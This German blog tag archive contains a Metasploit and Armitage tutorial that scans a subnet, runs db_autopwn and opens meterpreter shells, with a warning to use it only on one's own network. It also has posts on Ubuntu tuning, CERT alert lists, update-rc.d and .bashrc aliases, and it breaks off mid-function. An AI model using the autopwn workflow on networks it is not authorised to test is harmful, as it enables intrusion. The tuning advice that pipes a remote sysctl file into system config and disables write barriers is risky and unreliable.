Tag Archives: etc

Metasploit

Metasploit – Sicherheitsanalyse im Netzwerk


Metasploit
Metasploit


“Das Metasploit-Projekt ist ein freies Open-Source-Projekt zur Computersicherheit, das Informationen über Sicherheitslücken bietet und bei Penetrationstests sowie der Entwicklung von IDS-Signaturen eingesetzt werden kann. Das bekannteste Teilprojekt ist das Metasploit Framework, ein Werkzeug zur Entwicklung und Ausführung von Exploits gegen verteilte Zielrechner. Andere wichtige Teilprojekte sind das Shellcode-Archiv und Forschung im Bereich der IT-Sicherheit.

Wie vergleichbare kommerzielle Lösungen wie CANVAS (von Immunity) oder Core Impact (von Core Security Technology), kann Metasploit von Administratoren eingesetzt werden, um die Schwachstellen von Computersystemen zu prüfen und diese bei Bedarf zu schließen. Andererseits kann es auch missbraucht werden, um in andere Systeme einzubrechen. Während der beschriebene Einsatz durch einen Administrator in seinem eigenen Netzwerk nicht nur legitim, sondern auch legal ist, erfüllt ein Einsatz ohne ausdrückliche Erlaubnis bei Fremdsystemen Tatbestände der Computerkriminalität.” – Wiki


Achtung
Ausdrücklich möchte ich noch einmal darauf hinweisen, dass man dieses Programm nur zur Analyse des eigenen Netzwerkes nutzen darf!


hackingprocess
hackingprocess


Als erstes müssen wir einige Dinge nachinstallieren um “unser eigenes” Netzwerk bzw. die Rechner in diesem auf Exploits zu prüfen und spätestens jetzt bemerkt man, dass ein Patch-Day im Monat ggf. nicht ausreicht, sobald man auf eine globale Exploit-Datenbank zurückgreifen kann ;-)

aptitude install ruby postgres libruby rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby  libreadline-ruby libiconv-ruby libgtk2-ruby libglade2-ruby rubygems libpq-dev libreadline-dev libssl-dev libpq5 ruby-dev
sudo gem install pg


Optional: falls du später Probleme hast, dich mir postgres-SQL zu verbinden
vim /etc/postgresql/8.3/main/postgresql.conf
#ssl = true
sudo /etc/init.d/postgresql restart


… und müssen eine Datenbank-User / Datenbank anlegen.
sudo -s
su postgres
createuser msf_user -P
Enter password for new role: *******
Enter it again: *******
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
createdb --owner=msf_user msf_database


Optional: weitere Infos zu Postgres + Metasploit


Optional: ggf. nach einer neuen Version schauen…


32-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-i686.run
64-Bit:
wget http://www.metasploit.com/releases/framework-3.5.1-linux-x86_64.run


sudo sh ./framework-3.5.1*
sudo rm -rf /opt/metasploit3/msf3/
sudo svn checkout https://www.metasploit.com/svn/framework3/trunk /opt/metasploit3/msf3/


Optional: für zukünftige Updates
sudo svn update /opt/metasploit3/msf3/


Nun noch schnell das einen Link anlegen …
sudo ln -sf /opt/metasploit3/msf3/msf* /usr/local/bin/


… und verhindern, dass PostgreSQL immer automatisch startet.
update-rc.d -f postgresql remove


Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…


sudo /etc/init.d/postgresql start
… führen eben noch ein Update von Metasploit durch und startet diese anschließend …
sudo msfupdate
sudo msfconsole
*abwarten, kann einen Augenblick dauern*


metasploit
metasploit


msf > db_driver postgresql
msf > db_connect msf_user:[password]@127.0.0.1:5432/msf_database
msf > db_workspace -a meinProjekt
msf > db_nmap 192.168.50.0/24
msf > db_hosts
msf > db_services
msf > db_autopwn -t -p -e
msf > session -i 1
meterpreter >
Wir befinden uns nun in einer Shell auf dem Remote-PC und können verschiedene Befehle ausführen z.B.:
ipconfig
execute
shell
download
upload 
… genauer will ich auf die Shell auch nicht eingehen, denn weitere Infos findet man z.B. hier:


fastandeasyhacking
fastandeasyhacking


Wenn man gerne nun noch eine hübsche grafische Oberfläche hätte, kann man sich diese GUI installieren oder “msfgui” ausprobieren. :-) Um die neue Metasploit-GUI zu nutzen müssen wir jedoch als erstes Java installieren…
sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"
sudo apt-get update
sudo apt-get install sun-java6-jdk
Ggf. noch einmal nach einer neue Version auf der Webseite schauen – www.fastandeasyhacking.com
Optional: ggf. falls der PC in der Zwischenzeit neu-gestartet wurde, starten wir nun PostgreSQL…
sudo /etc/init.d/postgresql start
sudo msfconsole
*abwarten, kann einen Augenblick dauern*
msf > load xmlrpc
… nun steht in der Konsole ein Passwort (+User), welches gleich in der GUI eingegeben werden muss, also neue Konsole öffnen und anschließend die neue GUI herunterladen.
cd ~/Desktop/
wget http://www.fastandeasyhacking.com/download/armitage122210.tgz
tar xzvf armitage122210.tgz
cd armitage/
./armitage.sh
Nachdem die Software gestartet wurde, müssen wir noch schnell das soeben beschriebene Passwort (+User) und noch den Befehl zum Verbinden mit der Datenbank eintragen …
… anschließend können wir das Netzwerk scannen und ggf. Sicherheitslücken entdecken …


Armitage_start
Armitage_start


Menü:
Hosts -> Clear Hosts
Hosts -> Nmap Scan -> Quick Scan (OS detect)
Services
Services


Auswahl
Auswahl


… genauer will ich auf die GUI auch nicht eingehen, denn weitere Infos findet man z.B. hier:

7_9139598_Cool_Tacho_256x256_main_-192x192_

SpeedUp Ubuntu

1.) Kenne dein System (Hardware)

Am besten ist es den Flaschenhals an seinem System ausfindig zu machen, dafür sollte man wissen wie viel Arbeitsspeicher zur Verfügung steht, CPU Auslastung, Festplattengeschwindigkeit etc. aktuell verbraucht wird. Ggf. kann man auch mit neuer Hardware (z.B. > RAM) das System beschleunigen, dies muss natürlich bei jedem System einzeln geprüft werden.


1.1) Arbeitsspeicher


free -mt


  • total: kompletter physikalischer Speicher ( – ein wenig für den Kernel)
  • use: verwendeter Speicher
  • free: freier Speicher
  • buffers/cache: Speicher der wieder freigegeben werden kann, wenn dieser benötig wird. (Cache)

Somit sollte auch klar sein, dass es GUT ist, wenn der Arbeitsspeicher gut ausgenutzt wird, sollte jedoch “use” – “buffer/cache” zu klein werden oder bereits “Swap” (Auslagerungsspeicher -> meist Festplattenplatz) verbracht wird und somit das System wirklich ausbremst.


1.2) Festplatte


hdparm -t /dev/harddrive


Wenn es ewig dauert bis das System gebootet ist oder Programme starten, sollte man die Lesegeschwindigkeit seiner Festplatte einmal testen und ggf. eine neue Festplatte kaufen. ;-) Dabei sollte die Festplatte nicht unter ~50MB/s sein. Moderne SATA-Festplatten haben im Durchschnitt 100MB/s und bei SSD-Festplatten ist eine Datenraten bis zu ~500 MB/s möglich. (SATA-600).


1.3) CPU


top


Ich hatte das Programm “top” bereits in einem vorherigen Blog-Post beschrieben -> http://suckup.de/blog/2010/11/09/linux-server-analysieren/ <- top zeigt unter anderem die Auslastung der CPU je Programm an.


1.4) Grafikkarte


glxinfo | grep direct


Wenn du Engpässe beim abspielen von Videos oder beim Spielen feststellst, kannst du mit dem vorherigem Befehl feststellen, ob “Direct Rendering” aktiviert ist. Ggf. reicht es aus andere Treiber zu installieren, nach meiner Erfahrung sind die Proprietäten Treiber bei neuen Grafikkarten (ATI & NVIDIA) sehr gut. (http://suckup.de/blog/2010/02/09/lxde-compiz-emerald-awn-ubuntu-howto/) Wer eine alte Grafikkarte hat, kann auch diese 3D-Effekte (Compiz) ausschalten, ggf. andere Treiber installieren und schauen, ob der Desktop dadruch flüssiger läuft.


2.) Lightweight Software

Bevor man in neue Hardware investiert (oder sich diese zu Weihnachten schenken lässt) sollte man einmal “Lightweight Software” ausprobieren, diese bieten zwar ggf. weniger Funktionen, sind dafür aber schneller.


z.B.:
Desktop: Gnome -> LXDE oder Xfce
Browser: Firefox -> Chromium


https://wiki.archlinux.org/index.php/Lightweight_Applications


3.) Speicherplatz

3.1) Filesystem
Achtung
Achtung: Backup nicht vergessen!!!


Als erstes sollte man sich ein wenig mit dem Filesystem beschäfitigen, da ganz nach verwenddung ggf. ein anderes Filesystem verwendet werden sollte.


Zusammenfassung:
XFS: ausgezeichnete Leistung bei großen Dateien, dafür langsamere Geschwindigkeit bei kleinen Dateien (z.B. für ISO’s oder großen Downloads unter /home)


Reiserfs: ausgezeichnete Leistung bei kleinen Dateien (z.B. für viele kleine Dateien unter /var)


Ext3: durchschnittliche Leistung


Ext4: super Gesamtleistung (Leistungsprobleme bei sqlite und anderen Datenbanken)


JFS: gute Gesamtleistung (sehr geringe CPU-Last)


Btrfs: super Gesamtleistung (besser als ext4 ABER ggf. unstable)


3.2) Mount Optionen

/dev/partition /mnt/partition partitiontype option1,option2 0 0


Ein weitere Möglichkeit das Dateisystem zu optimieren, sind die “Mount Optionen”, diese trägst du in der Datei “/etc/fstab” ein. So kann man z.B. durch “relatime” oder “noatime” verhindern, dass die Zugriffszeiten in der Inodetabelle gespeichert werden und so die Festplattenaktivität reduziert werden.



sudo tune2fs -O dir_index /dev/partition


Mit dem vorigem Befehl wird die automatische Indizierung von Ordnerinhalten aktiviert, so dass man schneller aus die Daten zugreifen kann.
(wer ggf. von Ext3 auf Ext4 wechseln möchte kann dies tun: http://suckup.de/blog/2010/02/14/konvertiere-ext3-zu-ext4/)
Sowohl bei Ext3 als auch bei Ext4 wird ein Journal geschrieben, dieses kann man mit der Option “data=writeback” einschränken und somit die Preformance steigern, kann jedoch zu Problemen führen, da die metadata nun “träge” gespeichert werden.


Journal‘ – Langsamster und sicherster Modus. Nicht nur die Metadaten sondern auch die Nutzdaten werden zunächst in das Journal, und dann erst auf die Festplatte geschrieben.
Ordered‘ – Guter Kompromiss aus Sicherheit und Geschwindigkeit (Standard). Die Nutzdaten werden auf die Festplatte geschrieben sobald die Metadaten im Journal abgelegt wurden.
Writeback‘ – Schnell, dafür relativ unsicher. Die Nutzdaten werden sofort auf die Festplatte geschrieben ohne das gewartet wird bis die Metadaten im Journal abgelegt wurden.


tune2fs -o journal_data_writeback /dev/partition


mit dem vorherigem Befehl schreibt man das vorhandene Journal um…


/dev/partition / ext4 errors=remount-ro,noatime,nodiratime,data=writeback,barrier=0,nobh,commit=100,nouser_xattr 0 1


noatime” sagt aus, dass nicht gespeichert wird, wann die Datei angesehen wurde. (man liest eine Datei und gleichzeitig wird auf die Dateien geschrieben) Auch “barrier=0” trägt dazu bei, dass deine Daten unsicherer sind, die Option steigert jedoch die Performance. (so soll die Option einen sehr positiven Einfluss auf die Schreib-Performance von MySQL haben) Die Option “nobh” versucht “associating buffer heads” zu vermeiden und bringt eine kleine Performace verbesserung. Als nächstes kommt die Option “commit=100“, diese Option sagt aus, dass die Daten nur alle 100 Sekunden auf die Festplatte geschrieben werden, dafür verliet man ggf. auch 100 Sekunden bei einem Ausfall (default 5). “nouser_xattr” schaltet einige weitere Optionen vom Dateisystem aus und bringt noch einmal einen kleinen Performanceschub.



XFS -> zur optimierung kann man das Dateisystem mit dem folgedem Kommando anlegen …


mkfs.xfs -l internal,lazy-count=1,size=128m -d agcount=2 /dev/partition


… und die “Mount Option” -> “logbufs=8” in der fstab einfügen. Zudem kann man das gemountete XFS-Filesysteme per “filesystem reorganizer for XFS” Optimieren.


xfs_db -c frag -r /dev/partition


-> stellt den Fragmentationsgrad fest


xfs_fsr /dev/partition


-> defragmentiert die Partition (apt-get install xfsdump)


Die Option “data=writeback” beschleunigt das Dateisystem, kann jedoch zu Datenverlust beim Stromausfall führen. Auch “notail” beschleunigt Reiserfs bewirkt jedoch, dass zirka 5% mehr an Festplattenplatz benötigt wird. Zudem kann man mit dem nächsten Befehl bereits beim erstellen das Dateisystems dieses beschleunigen, indem man das Journal auf eine zweite Partition auslagert.


mkreiserfs –j /dev/hda1 /dev/hdb1



Dieses neue Dateisystem bietet “online Defragmentation”, “Optimierungen für SSDs”, “Snapshots” und viele weitere Sinnvolle Funktionen, wird jedoch momentan noch aktiv entwickelt.


Informationen zum optimieren von SSDs findest du hier -> https://wiki.archlinux.org/index.php/SSD#Tips_for_Maximizing_SSD_Performance


(Im Arch-Linux Wiki habe ich auch noch von der Möglichkeit gelesen “/usr” komplett zu komprimieren (aufs2 + squashfs-tools) da moderne CPUs schneller die Dateien entpacken können als das größere Daten von der Festplatte geladen werden können, leider habe ich diesbezüglich keine Infos zu Ubuntu gefunden.)


4.) CPU

Hier kann man in erster Lienie Overclocking betreiben und somit einiges an Geschwindigkeit herausholen, so habe ich z.B. aus einem “AMD Athlon II X3″ einen “AMD Athlon II X4″ gemacht. (PS: wer Fragen zur Hardware hat, sollte sich einmal das Computerbase-Forum anschauen, habe dort auch meinen neuen PC gemeinsam mit anderen Mitgliedern zusammengestellt -> “http://www.computerbase.de/forum/showthread.php?p=8532713” + Vorlagen für verschiedene Preisklassen http://www.computerbase.de/forum/showthread.php?p=3395405)


Wenn man auf der Software-Seite seine CPU besser nutzen möchte kann man einen optimierten Kernel bauen oder zumindest bei Arch-Linux sein System mit neuen “CFLAGS & CXXFLAGS” neu-kompilieren lassen. (https://wiki.archlinux.org/index.php/Pacbuilder) Falls jemand ein ähliches Programm für Ubuntu kennt, würde ich dies gerne erfahren. :-)


4.1) optimierten Kernel bauen

Download: KernelCheck – .deb


Download: Patch


Install: KernelCheck
dpkg -i *.deb


Starte KernelCheck
-> “custom complication”
-> “normal performance patch”
-> “Configure kernel options manually, auto-configure ALSA options for sound, Optimize the kernel, Install kernel package after complication”
-> “Apply custom path to kernel”


Nachdem die Dateien heruntergeladen und entpackt wurden, bekommst du eine Shell in der du den Patch einspielen musst.


cd linux
cp /home/USER/Desktop/patch-2.6.36-ck2 .
patch < patch-2.6.36-ck2 -p1


Nachdem du das Fenster wieder verlässt kannst du noch einige Optimierungen auswählen:


-> “Processor type and features”



4.2) optimierten Kernel (+ Brain Fuck Scheduler)


… man kann hier natürlich auch auf ppa zurückgreifen (jedoch noch nicht getestet)!


sudo add-apt-repository ppa:chogydan/ppa && sudo apt-get update
sudo apt-get install linux-ck-generic linux-ck-headers-generic


5.) RAM & swap


5.1) Auslagerung von Speicher
swappiness” ist eine Einstellung, welche dem Kernel mitteilt ob der RAM oder der SWAP bevorzugt werden soll. Der Wert der Variablen kann zwischen 0 und 100 liegen. Der Wert 0 bedeutet, dass der Kernel den Auslagerungsspeicher auf der Festplatte (swap) nur dann nutzt, wenn es nicht anders geht. Der Wert 100 bedeutet das genaue Gegenteil. Es wird so früh wie möglich ein unbenutzter Speicherbereich in den Swapspeicher geschoben.


vim /etc/sysctl.conf
vm.swappiness=20
vm.vfs_cache_pressure=50


5.2) Compcache
Compcache, auch als “ramzswap kernel module” bezeichnet erstellt Swap im Arbeitsspeicher und komprimiert diesen. So dass zwar die CPU wieder mehr zu tun hat, wir jedoch mehr Auslagern können, ausserdem hat dies den Vorteil, dass die Lese-/Schreizugriffe auf der Festplatte weiter reduziert werden.



5.3) tmpfs
Einen ählichen Ansatz, wie “Compcache” verfolgt auch “tmpfs” hier werden die Daten jedoch einfach in den Arbeitsspeicher geschrieben, ohne diese zu komprmieren. Wenn man jedoch genügent Speicher übrig hat, kann man so z.B. die “/tmp”-Daten in den Speicher auslagern.
vim /etc/fstab
tmpfs /tmp tmpfs defaults,noatime,nodev,nosuid,mode=1777 0 0
(nach diesem Prinzip kann man auch z.B. den Cache vom ff oder vom Chrome auslagern)


6.) Netzwerk & Internet


6.1) DNS
Ggf. sollte man schauen, ob man nicht einen schnelleren DNS-Server in seiner nähe findet ;-) -> http://suckup.de/blog/2010/02/13/find-a-fast-dns-server/
zumdem sollte man seinen eigenen Hostnamen in die der Datei “/etc/hosts” eintragen.
127.0.0.1 localhost
127.0.1.1 Rechnername
wird zu …
127.0.0.1 localhost Rechnername
127.0.1.1 Rechnername


Wer Spaß hat kann sich auch einen kleinen lokalen DNS-Cache installieren.
sudo apt-get install dnsmasq
vim /etc/dnsmasq.conf
listen-address=127.0.0.1
vim /etc/dhcp3/dhclient.conf
prepend domain-name-servers 127.0.0.1;
z.B.:
#supersede domain-name "suckup.de voku-online.de";
prepend domain-name-servers 127.0.0.1;
request subnet-mask, broadcast-address, time-offset, routers,
domain-name, domain-name-servers, host-name,
netbios-name-servers, netbios-scope;
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
nameserver 8.8.4.4
vim /etc/resolv.dnsmasq.conf
resolv-file=/etc/resolv.dnsmasq.conf
listen-address=127.0.0.1
vim /etc/resolv.dnsmasq.conf
nameserver 8.8.4.4
vim /etc/resolv.conf
z.B.:
search suckup.de
nameserver 127.0.0.1
sudo /etc/init.d/dnsmasq restart


6.2) SYSCTL

In der Datei “sysctl.conf” kannst du Paramether für dein System einstellen.


wget -c http://www.rubyringtechnologies.com/files/sysctl.conf.txt -O ~/sysctl.conf
sed -i 's/\(net\.core\.hot_list_length\ =\ 256\)/\#\1/' ~/sysctl.conf
cat < ~/sysctl.conf >> /etc/sysctl.conf
sysctl -p


6.3) MTU


Typische MTU-Größen:
Medium MTU in Bytes
Hyperchannel 65535
Token Ring(4)(802.5) 4464
Token Ring(16) 17914
FDDI 4352
Ethernet 1500
Gigabit Ethernet
mit Jumboframes
9000
PPPoE (z. B. DSL) ≤ 1492
SLIP/PPP (low delay) 296
X.25 576
FibreChannel theoretisch unbegrenzt
ISDN 576
DQDB
HIPPI
ATM 4500, s. u.
ARCNET
802.11 2312 (WiFi)

Quelle: http://de.wikipedia.org/wiki/Maximum_Transmission_Unit


ping -Mdo -s 1500 8.8.8.8


-> mit dem vorherigem Befehl kannst du testen welche MTU funktioniert (z.B. 1500)


Konfig-Beispiel:

vim /etc/network/interfaces

iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
gateway 192.168.0.254
netmask 255.255.255.0
mtu 1492


7.) preload, ureadahead etc.

ureadahead ist standardmäßig bereis bei Ubuntu installiert und lädt Programme bereits beim Bootvorgang in den RAM, falls man z.B. preload (apt-get install preload) einsetzten will, sollte man ureadahead deaktivieren, da es die selbe Aufgabe übernimmt. “preload” hat den Vorteil, dass es im Betrieb protokolliert welche Programme wirklich verwendet werden und nur diese bereits beim Boot in den RAM lädt, daher startet das System schneller, die Programm werden jedoch nicht schneller gestartet als mit ureadahead. (persönliche Meinung – nicht auf die Millisekunde gemessen) außerdem verursacht das Programm “preload” immer CPU-Last und verbraucht somit mehr Strom als wie ohne. ;-) Um den Boot-Vorgang näher zu analysieren soll man sich einmal “bootchart” (http://wiki.ubuntuusers.de/bootchart) anschauen.


8.) prelink

Wenn man den Start von Programmen beschleunigen will, kann man “prelink” (apt-get install prelink) ausprobieren, besonders bei KDE bringt dies einiges, da somit bei “dynamic linking” Programmen (Programm die nicht gelinkt sind, um z.B. Speicherplatz zu sparen) die Libraries nicht jedesmal bei geladen werden müssen. Prelink nutzt dies insofern aus, als dass es das Linken im Voraus ausführt und in der Programmdatei abspeichert. Somit kann man (fast) jedes Programm beschleunigen.


vim /etc/default/prelink

PRELINKING=unknown 

wird zu …

PRELINKING=yes 


http://wiki.ubuntuusers.de/Prelink


9.) localepurge

Nicht verwendete Sprachdateien zu entfernen erscheint zwar auf den ersten Blick nicht wirklich als Optimierung, jedoch hat sich in der Praxis gezeigt, dass einige Programm diese Sprachdateien z.B. beim Start in den Speicher laden, daher kann man so nicht nur Festplattenplatz, sondern ggf. auch Arbeitsspeicher einsparen und Programme schneller starten.



Quellen:

https://wiki.archlinux.org/index.php/Maximizing_Performance

http://sidux.com/index.php?module=Wikula&tag=SiduxTweaks

http://wiki.ubuntuusers.de/tuning

mail_update

Sicherheitswarnung per Mail

Wer über die neusten Sicherheitswarnung / Sicherheitslücken informiert werden möchte, findet unter den folgenden beiden Links Mail-Verteiler von CERT.


Technische Warnungen von Software (Google Chrome, uTorrent, phpMyAdmin etc.)

- Warn- & Informationsdienste für Server (VMWare ESX, Linux Kernel XFS, sudo etc.)


Wer über spezielle Software-Updates informiert werden will, kann auf www.computerbase.de eine E-Mail-Benachrichtigung z.B. für den “Apache Web-Server”, “ClamAV” und viele weitere aktivieren, dies müssen natürlich nicht immer Sicherheitskritische Updates sein.


Und wer über aktuellen Sicherheitsmeldungen der wichtigsten Distributionen informiert werden will, findet diese Infos auf www.pro-linux.de/sicherheit/ (auch per E-Mail).






Technische Warnungen




sysv-rc-conf

Dienste unter Debian / Ubuntu deaktivieren

Da ich vor einiger Zeit von “Apache2″ zu “nginx” als Webserver umgestiegen bin, den “alten Indianer” jedoch in der Zwischenzeit noch auf einem anderen Port (127.0.0.1:8080) aktiv hatte, war es nun an der Zeit diesen abzuschalten.


Jeder Dienst besitzt ein Start-/Stop-Skript im Verzeichnis /etc/init.d diese werden dann den verschiedenen Runleveln zugeordnet.


/etc/rc0.d – Während das System herunterfährt
/etc/rcS.d – Während des Bootens ausführen
/etc/rc1.d – Arbeiten als einzelner Benutzer
/etc/rc2.d – Mehrbenutzerbetrieb inkl. Netzwerk
/etc/rc3.d bis /etc/rc5.d – Nicht genutzt
/etc/rc6.d – Während das System neu startet


Der Standard Runlevel von Debian / Ubuntu ist 2. Um diese Zuordnungen zu verstehen, zeige ich einfach ein Beispiel:

Befehl:

ls -alhF /etc/rc2.d/S20php5-fpm

Ausgabe:

lrwxrwxrwx 1 root root 18 28. Aug 02:10 /etc/rc2.d/S20php5-fpm -> ../init.d/php5-fpm*

Wie man sieht handelt es sich hierbei um einen Symbolischer-Link welcher auf ein Start-/Stop-Skript zeigt. Um diese Zuordnung zu ändern gibt es den Befehl “update-rc.d”

update-rc.d apache2 defaults

Defaults bedeutet, dass Apache in den Runleveln 2-5 gestartet und in allen anderen beendet wird.
In meinem Fall wollte ich den Dienst ausschauten und daher die Links entfernen, dies hab ich mittels diesem Befehl gemacht.

update-rc.d -f apache2 remove

Die Reihenfolge, vor/nach welchen anderen Scripts ein Dienst starten soll, wird über folgende Einstellungen geregelt.

Möchte man Apache z.B so einrichten, dass er nur in Runlevel 4 und 5 und nach allen anderen Diensten gestartet wird (99) , benutzt man folgende Zeile:

update-rc.d apache2 start 99 4 5 stop 01 0 1 2 3 6

Die Zeile hat folgende Bedeutung: Füge Startlinks (die mit “S99…” beginnen) in /etc/rc4.d und /etc/rc5.d ein, füge außerdem Stoplinks (die mit “K01…” beginnen) in den anderen rc.xd-Verzeichnissen ein. Apache wird also bei Runlevel-Wechseln zuletzt gestartet und zuerst wieder beendet.


Alternativ gibt es ein Front-End, welches dies ebenfalls erledigen kann, dieses muss in den meisten Fällen jedoch erst-einmal installiert werden.


aptitude install sysv-rc-conf
sysv-rc-conf

Mit dem Befehl “sysv-rc-conf” kannst du nun sehr bequem Dienst ein-/ und ausschalten. (dies hat natürlich keinen Einfluss auf die momentan laufenden Prozesse, dieser musst du z.B. mit “/etc/init.d/apache2 stop” oder “pkill apache2″ beenden)

Konsolen-Logo

.bashrc

Wer Einstellungen an der bash ändern möchte oder z.B. einige Kommandos bzw. die
passenden Parameter nur schwer behalten kann oder eher selten auf der
Kommandozeile arbeitet, für den sind Einträge in der .bashrc sehr hilfreich.

Global -> /etc/bash.bashrc

User -> ~/.bashrc

 

Download:

https://github.com/voku/dotfiles/blob/master/.bashrc

 

Es folgen einige Einträge welche man ggf. in der .bashrc eintragen kann

export

# Datum zum Historylog hinzufuegen
export HISTTIMEFORMAT="%F %T "
# History auf 3000 Eintraege erweitern
export HISTSIZE=3000
# keine doppelten Einträge speichern
export HISTCONTROL=ignoredups
LS_COLORS='no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01; 35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:'
export LS_COLORS
# Source Globale Definitionen
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Schalte vervollstaendigung fuer Programme ein
if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi

alias

alias checkupdates='sudo apt-get update'

-> aktualisiert die Quellen (sources.list)

alias mkdd='mkdir $(date +%Y%m%d)'

-> erstellt ein Verzeichnis mit angehängtem Datum (yyyymmdd)

alias launchpadkey='sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys'

-> fuegt einen neuen Key Launchpad PPAs fuer Ubuntu hinzu

z.B.: launchpadkey 4E5E17B5

alias grep='grep --color=auto'

-> Ergebnisse von grep werden nun farblich markiert

alias ls='ls --color=auto -Fh'

-> verleiht dem “ls”-Befehl Farbe

alias la='ls -laFh --color=auto'

-> zeigt alle Dateien und Verzeichnisse ausführlich an

alias ll='ls -lFh --color=auto --group-directories-first'

-> zeigt Dateien und Verzeichnisse ausführlich an

alias llr='ls -lartFh --color=auto --group-directories-first'

-> zeigt die zuletzt geänderten Dateien unten an

alias dir='ls --color=auto --format=vertical'

-> zeigt Dateien und Verzeichnisse an

alias vdir='ls --color=auto --format=long'

-> zeigt mehr Infos zu Dateien und Verzeichnissen an

alias tree='tree -Csu'

-> zeigt einen Verzeichnis-Baum an

alias timestamp='date "+%Y%m%dT%H%M%S"'

-> zeigt den aktuellen Timestamp im ISO 8601 Format an

alias lf='find ./* -ctime -1 | xargs ls -ltr --color'

-> zeigt rekursiv Dateien und Verzeichnisse die in der letzten Stunde anfasst wurden an

alias myip='GET http://www.whatismyip.com/automation/n09230945.asp && echo'

-> zeigt deine oeffentliche IP-Adresse an

alias ..='cd ../'

-> wechselt ein Verzeichnis nach oben

alias ::='cd ../..'

-> wechselt zwei Verzeichnisse nach oben

alias 'psx'='ps auxwf | grep'

-> zeigt die/den entsprechenden Prozess an

alias pst='pstree -Alpha'

-> zeigt die Prozessstruktur uebersichtlich an

alias psmy='ps -ef | grep $USER'

-> zeigt alle meine Prozesse an

alias lsport='sudo lsof -i -T -n'

-> zeigt die Ports an, welche die Applikationen verwenden

alias llport='netstat -nape --inet'

-> zeigt weitere Infos über die Ports an, welche die Applikationen verwenden

alias du='du -kh'

-> zeigt den Festplattenverbrauch eines Verzeichnisses leserlich an

alias df='df -kTh'

-> zeigt den kompletten Festplattenverbrauch leserlich an

function

# Netzwerk Info
netinfo ()
{
  echo "--------------- Network Information ---------------"
  /sbin/ifconfig | awk /'inet Adresse/ {print $2}'
  echo ""
  /sbin/ifconfig | awk /'Bcast/ {print $3}'
  echo ""
  /sbin/ifconfig | awk /'inet Adresse/ {print $4}'
  echo "---------------------------------------------------"
}
# entpacken von Komprimierten Dateien
extract()
{
  if [ -f $1 ] ; then
    case $1 in
             *.tar.bz2)   tar xvjf $1     ;;
             *.tar.gz)    tar xvzf $1     ;;
             *.bz2)       bunzip2 $1      ;;
             *.rar)       unrar x $1      ;;
             *.gz)        gunzip $1       ;;
             *.tar)       tar xvf $1      ;;
             *.tbz2)      tar xvjf $1     ;;
             *.tgz)       tar xvzf $1     ;;
             *.zip)       unzip $1        ;;
             *.Z)         uncompress $1   ;;
             *.7z)        7z x $1         ;;
             *)           echo "'$1' cannot be extracted via >extra  ct<" ;;
         esac
  else
    echo "'$1' is not a valid file"
  fi
}
# zeigt alle Dateien in dem akuellen Verzeichnis an (rekursiev)
ff()
{
  find . -type f -iname '*'$*'*' -ls ;
}
# Finde Text in Dateien
fstr()
{
  OPTIND=1
  local case=""
  local usage="fstr: find string in files.
  Usage: fstr [-i] "pattern" ["filename pattern"] "
  while getopts :it opt
    do
        case "$opt" in
        i) case="-i " ;;
        *) echo "$usage"; return;;
        esac
  done
  shift $(( $OPTIND - 1 ))
  if [ "$#" -lt 1 ]; then
    echo "$usage"
        return;
  fi
  find . -type f -name "${2:-*}" -print0 |
  xargs -0 egrep --color=always -sn ${case} "$1" 2>&- | more
}
# Infos zu einer Datei ausgeben
file_information()
{
  if [ $1 ]; then
    PLACE=`type -path $1`
    if [ -z $PLACE ]; then echo "$1: not found"; return 1; fi
      echo $PLACE
          ls -l $PLACE
          file $PLACE
        ldd $PLACE
  else
      echo "Missing argument"
  fi
}
alias finfo=file_information
# ein Backup einer Datei anlegen (mit Datum)
file_backup()
{
  for FILE ; do
    [[ -e "$1" ]] && cp "$1" "${1}_$(date +%Y-%m-%d_%H-%M-%S)" || echo ""$1" not found." >&2
  done
}
alias fback=file_backup
# Ein komprimiertes Backup + Datum erstellen
packen()
{
tar czvf "$1-$(date +%y%m%d-%H%M%S).tar.gz" "$1" ;
}
# ssh Verbindung aufbauen + ein Logfile schreiben
logssh()
{
  ssh $1 | tee sshlog ;
}
# farblichen Bash-Prompt
shell_colored() {
local GRAY="[33[1;30m]"
local LIGHT_GRAY="[33[0;37m]"
local CYAN="[33[0;36m]"
local LIGHT_CYAN="[33[1;36m]"
local NO_COLOUR="[33[0m]"
local BLUE="[33[0;34m]"
local LIGHT_BLUE="[33[1;34m]"
